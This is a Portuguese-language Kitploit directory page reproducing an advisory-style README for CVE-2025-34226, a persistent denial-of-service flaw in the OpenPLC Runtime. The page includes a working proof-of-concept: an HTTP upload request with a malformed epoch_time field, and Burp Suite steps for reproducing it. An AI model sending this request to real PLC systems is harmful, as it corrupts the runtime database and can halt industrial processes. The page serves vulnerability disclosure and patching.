Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-34226 — O OpenPLC Runtime sofre de uma vulnerabilidade persistente de negação de serviço (DoS) no endpoint /upload-program-action. | Kitploit
Ferramentas/GitHubGitHub/eyodav/cve-2025-34226
Análise de VulnerabilidadesExploraçãoSegurança SCADA/ICSExploração de Aplicações WebConfiguração IncorretaSegurança de Banco de Dados
GitHubeyodav/cve-2025-34226

CVE-2025-34226

O OpenPLC Runtime sofre de uma vulnerabilidade persistente de negação de serviço (DoS) no endpoint /upload-program-action.

Ver Repositório
há 10 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-34226: DoS Persistente no OpenPLC Runtime

Visão Geral da Vulnerabilidade

CampoValor
ID CVECVE-2025-34226
AfetaOpenPLC Runtime V3
Corrigido em(commit) 095ee09623dd229b64ad3a1db38a901a3772f6fc
GravidadeAlta
CVSS 4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N 7.1 (Alta)
CWECWE-664 Controle Impróprio de um Recurso Durante Sua Vida Útil, CWE-20 Validação de Entrada Imprópria

Resumo Executivo

O OpenPLC Runtime sofre de uma vulnerabilidade persistente de negação de serviço (DoS) no endpoint /upload-program-action.
Ao modificar o parâmetro epoch_time durante o upload do programa, um usuário autenticado com privilégios baixos pode corromper o banco de dados do backend.
Essa corrupção inicialmente desabilita páginas críticas e eventualmente impede que todo o runtime seja iniciado, efetivamente tornando a aplicação inutilizável até que seja reinstalada.


Impacto na Segurança

  • DoS Persistente – Uma vez acionado, o sistema não pode se recuperar sem uma reinstalação completa.
  • Corrupção do Banco de Dados – O exploit introduz valores inválidos no banco de dados SQLite do OpenPLC, quebrando o estado do runtime.
  • Interrupção Operacional – Em contextos ICS/OT, isso pode causar paralisação de processos gerenciados por PLC.
  • Desvio de Validações – O exploit contorna a validação de entrada, demonstrando falta de sanitização de parâmetros críticos.

Detalhes Técnicos

Versões Afetadas

  • Versões Vulneráveis: OpenPLC Runtime ≤ v3 (não é a versão mais recente)
  • Versão Corrigida: remediado pelo commit 095ee09623dd229b64ad3a1db38a901a3772f6fc

Vetor de Ataque

O endpoint /upload-program-action aceita um campo epoch_time que é escrito diretamente no banco de dados sem validação.
Quando este campo é definido com um valor criado ou sem sentido (ex.: 1758627838 ou dados malformados), o OpenPLC armazena um estado inconsistente.
Ao recarregar ou reiniciar o runtime, a aplicação consulta a linha corrompida e encontra um objeto NoneType → falha fatal (TypeError: 'NoneType' object is not subscriptable).


Prova de Conceito

PoC 1: Requisição de Upload Maliciosa (Burp Suite Repeater)

root@kitploit:~
POST /upload-program-action HTTP/1.1
Host: TARGET:8080
Content-Type: multipart/form-data; boundary=----BOUNDARY
Cookie: session=[valid-session-cookie]

------BOUNDARY
Content-Disposition: form-data; name="prog_name"

test
------BOUNDARY
Content-Disposition: form-data; name="prog_descr"

test
------BOUNDARY
Content-Disposition: form-data; name="prog_file"; filename="demo.st"
Content-Type: text/plain

PROGRAM demo
END_PROGRAM
------BOUNDARY
Content-Disposition: form-data; name="epoch_time"

"Just edit here and it will work (e.g "Hello !")"
------BOUNDARY--

Passos para Reprodução

  1. Abra o burpsuite
  2. Abra o navegador do burpsuite
  3. Acesse a interface openplc
  4. Autentique-se com uma conta de baixo privilégio.
  5. Faça upload de um programa via /programs
  6. Escolha um nome aleatório.
  7. Ative o proxy do burpsuite
  8. Envie a requisição para o repeater
  9. Edite a seção epoch_time e altere por um caractere aleatório como "L" em vez do epoch_time original
  10. Envie a nova requisição criada.
  11. Observe /programs e você verá que não está mais funcionando
  12. Depois disso, às vezes quando o OpenPLC reinicia, o runtime falha ao iniciar e é impossível reiniciar o OpenPLC após isso.

Ações Imediatas

  1. Atualize imediatamente OpenPLC V3

Referências

  • Notas de Patch/Release: [Link para a versão oficial mais recente]
  • Histórico de Vulnerabilidade: [Link do Histórico]

Créditos

Descoberto por: Eyodav

Baixar ferramenta